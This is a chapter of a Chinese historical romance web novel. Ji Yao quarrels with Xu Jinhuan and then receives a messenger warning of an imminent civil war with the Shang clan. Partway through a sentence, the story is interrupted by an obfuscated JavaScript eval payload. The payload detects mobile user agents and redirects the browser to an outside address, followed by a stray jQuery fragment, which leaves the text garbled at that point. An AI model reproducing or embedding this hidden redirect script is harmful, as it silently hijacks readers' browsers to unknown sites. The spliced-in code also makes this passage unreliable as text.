纪鹞见他神情痛苦,上前一步,双手顺着他的腰间,抱住了他。
"我的意思是,你出于同情,不想杀俘虏是对的。后面,敌军奸细害你父亲,你听从父命,屠城也是对的。"
许瑾欢眼眶发红,喉咙苦涩,"若我一开始,就执行军令,我的父亲就不会死。若我坚决不屠城,那些老幼妇孺便不会夜夜入我梦中,无声地谴责我。"
几滴热泪,落在纪鹞的肩头上,随即不断地蔓延成一片。
她看不清他的神情,只能双手更加用力地搂住他。
"他们都死了,作为罪魁祸首的我,却活了下来。"
闻此,纪鹞轻声道,"可我认为,许大人自始至终都没错。"
她接着道,"来到中州后,你每天都心事重重,鲜少见你神情放松,都让你的容貌暗淡些许。"
话音刚落,许瑾欢伸手推开了她,拉开两人距离。
他眼尾嫣红,垂眸之时,一滴清泪落下。
微风拂过他额前碎发,遮住他的眸子,只见他自嘲一笑,"所以……纪鹞,你只在乎我这张脸吗?"
"我……"
纪鹞一时语塞,许瑾欢便向她步步逼来。
许瑾欢眼眶浸着泪水,充斥着怒气。
"天下貌美者,千千万万,你大可不必在我身上花费时间。"
纪鹞退至门口,身子紧紧贴着门框。
"可纪某,独觉许大人容色惊人。"
许瑾欢一掌拍在门上,掌风激起纪鹞耳边发丝。
"青楼男倌,个个修长如玉、风月入骨,应当可以满足你。"
纪鹞眼珠向右一转,想起去青楼的场景。
她笑着辩解道,"他们虽美,但却是雌雄莫辨的阴柔美,与许大人的剑眉星目、郎艳独绝,自是比不上的。"
许瑾欢眸色一沉,贴在门上的手掌,用力一推,打开了房门。
连带着靠在门后的纪鹞,身子猝不及防地后退,好在她眼疾手快,才堪堪稳住身形,不至于摔倒。
下一秒,许瑾欢极速地关紧屋门。
独留纪鹞,一人站在门外。
她拍着木门,"许大人,这是何意?"
屋内,许瑾欢沉声道,"想来纪兄所看中的,只是在下一具皮囊罢了。可偏偏许某向来不屑以色侍人,实难苟合。世上容貌姣好者,数不胜数,纪兄没有必要将时间浪费在我身上。"
纪鹞看着门上映出的人影,"许大人,明明刚刚一切都好,你怎么突然生气了?"
她接着道,"难道是我将你与青楼男子相比较,你觉得受到屈辱,因此动怒?"
良久,一门之隔的许瑾欢,发出一声轻叹,"纪鹞,你这个人是没有心的,冷血又无情。"
他接着道,"我与你,道不同,不相为谋。日后,只谈公事,不论私情。"
纪鹞附在门上的手指,微微蜷缩。
她茫然又无措地看着,门上的人影渐渐变小。
她停留在原地许久,直到腿脚发酸。
随即,她垂下头,看着带着苔藓的青石砖,嘴角勾起苦笑。
"人心,真是难猜。"
自午后阴沉的天空,直至傍晚时,终是落下了细雨。
雨掉在地面的声音,微不足道,却在石砖上化开,慢慢地洇湿一片。
纪鹞再次抬头时,映入眼帘的是一把油纸伞。
"纪鹞,下雨了,你怎么站在许将军房前?"
纪鹞看着杜予落,又瞟了一眼紧闭的房门,"没什么事,我们回自己屋吧。"
"好,我刚做好了甜点,快来尝尝。"
杜予落将食盒递到纪鹞手中,随即收起纸伞,顺带抖了抖上面的雨珠。
她擦了擦手,将盖子打开。
"怎么样?研发的新品,好看吧?"
纪鹞点了点头。
"快尝尝。"
纪鹞接过杜予落递来的糕点,轻轻咬了一口,浓郁的花香在口中化开,甜意顺着她的脊椎向下蔓延。
她笑道,"确实好吃。"
闻此,杜予落才如释重负地坐了下来。
"这样的话,回到京城,又可以大卖一场。"
纪鹞看着她亮晶晶的小鹿眼,忽地问道,"你觉得我是冷血无情之人吗?"
"怎么突然问出这个问题?"
纪鹞错开她的眼神,"以往我从不在意他人目光,今天……只是忽然好奇起来。"
杜予落一手托着腮,静静地思考这个问题。
随着时间一分一秒地流逝,纪鹞拿着糕点的手中,不断地加重力道。
落在屋顶的雨声,逐渐加大。
纪鹞忍不住问道,"这个问题,很难回答?"
"有点吧,但是相处久了,我觉得你是个好人。"
纪鹞正要追问,屋门被人缓缓推开。
被风吹斜的雨珠,瞬间落在她们身上。
她抬眼望去,只见一个黑衣人走了进来。
他身着黑衣,腰挂箭筒,黑色的斗笠沿上,正向下滴水。
纪鹞看着受到惊吓的杜予落,连忙捂住了正要大喊的她。
"别喊,不要惊动隔壁的许大人。"
杜予落将信将疑地点了点头。
随即,纪鹞放开了她,看向来人。
"许久不见。"
黑衣人头领躬身作辑,压低嗓音道,"拜见纪参军。"
"可是先生派你来的?"
黑衣人头领点头,"朝局出了变故,太傅特命属下,快马加鞭来中州见你一面。"
"变故?前不久,唐离曾说,尚啸苍手下叛变,他向陛下奏请支援。难道此事,又生变了?"
黑衣人头领点头,"恐怕情况更加严重。当时陛下和太傅,派流民帅去支援尚啸苍,一起铲灭于飞势力。"
他接着道,"结果尚啸苍受重伤,恐命不久矣。中护军将军尚允,擅自离京,欲起兵造反。"
纪鹞动作一滞,瞳孔骤缩。
"尚啸苍命不久矣?他身边重兵数万,怎么会轻易被流民帅所伤?"
"这属下也不知道,但因为流民帅是陛下派去丰州的,所以朝中之人,都认为是受陛下暗中指使,为了除掉尚啸苍,重新夺回实权。"
纪鹞紧蹙眉头,"弘野尚氏定也是这么想的,所以尚允才会抛下中护军之位,立刻跑回丰州。那岂不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260686|189160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,大战又将重来?"
黑衣人点头,"属下此番前来,就是为了此事。太傅命我,转告于纪参军,留给中州军的时间不多了,还需加快进度,才能拱卫京师。否则,一切努力都白费了。"
纪鹞将目光转向与许瑾欢相隔的那面墙,"这事,许大人不知道?"
"圣下已下口谕,估计明日便会抵达。属下是奉太傅之命,日夜兼程,所以才先一步来到纪参军面前。"
纪鹞的手,习惯性地抚上刀片。
"看来,这一次,陛下和太傅已经准备好,和弘野尚氏一战。"
"太傅的意思是,现在只等尚啸苍是否咽气,若是他能活下来,我们依然没有反抗之力。但可以将真凶,彻查到底。若是他真的死了,就趁此机会,夺下他手中的兵权。"
他接着道,"太傅还说,让纪参军早些做准备。"
说着,他沾满雨水的手指,探入自己的衣襟处,两指一夹,夹出一个半干不湿的纸条,递到纪鹞面前。
纪鹞问道,"这是何意?"
"这上面的是我在麻平郡的住址,事态紧急,你只有几个时辰的思考时间。我会在这里等你,倘若到明日午时,你仍未出现,那我就回京向太傅复命。"
纸条的冰冷,从纪鹞的指尖沿着经络传至她的心脏。
纪鹞加大手中力道,以此来忍住自己后背发凉的异样感。
"我已知晓太傅的意思。"
黑衣人头领再次压低声音道,"那便好。时辰不早了,属下先行告退。"
"好。"
他轻轻地拉开屋门,悄无声息地隐入黑夜之中。
纪鹞看着黑衣人的背影,上前关门。
雨珠只现身于光亮处,似悬在半空般,不曾动过,却打湿纪鹞的头发、脸颊。
纪鹞的眼睛,穿过雨幕,瞟到隔壁许瑾欢的屋子,见他那里安静如常,便安心地合上了屋门。
屋内空气中还残存着潮湿的泥土味道,杜予落坐在一旁,不断地拍着胸脯,来安抚受惊的自己。
随即,杜予落给自己倒了杯茶,一饮而尽。
"纪鹞,这个黑衣人看起来,杀意很重,你怎么认识他的?"
"我刚来到这个世界不久,就遇到了他,他是太傅的手下。"
杜予落睁着大眼睛,挪到纪鹞的耳边,轻声道,"明明圣上的口谕明日就可到达,为什么太傅还多此一举,派他提前告知你呢?"
纪鹞展开潮湿的纸条,"这是太傅留给我,最后的选择权。"
"可方才那个黑衣人,自始至终没有提到选择权啊。"
杜予落接着道,"而且让你选择什么?"
纪鹞沉默片刻,轻启朱唇,"选择是否卷入这场大战。"
她接着道,"也就是……我们现在趁大战开始前,还有逃走的机会。"
"逃走?逃去哪儿?"
"西州。",纪鹞接着道,"大战之时,双方激烈对峙,定不会有人在意我们的去留。如果我们现在逃走,这场内战,便于我们毫无关系。无论谁胜谁败,我们都可以在西州荒山,安然度日。"
杜予落问道,"那我们现在,要怎么逃走?"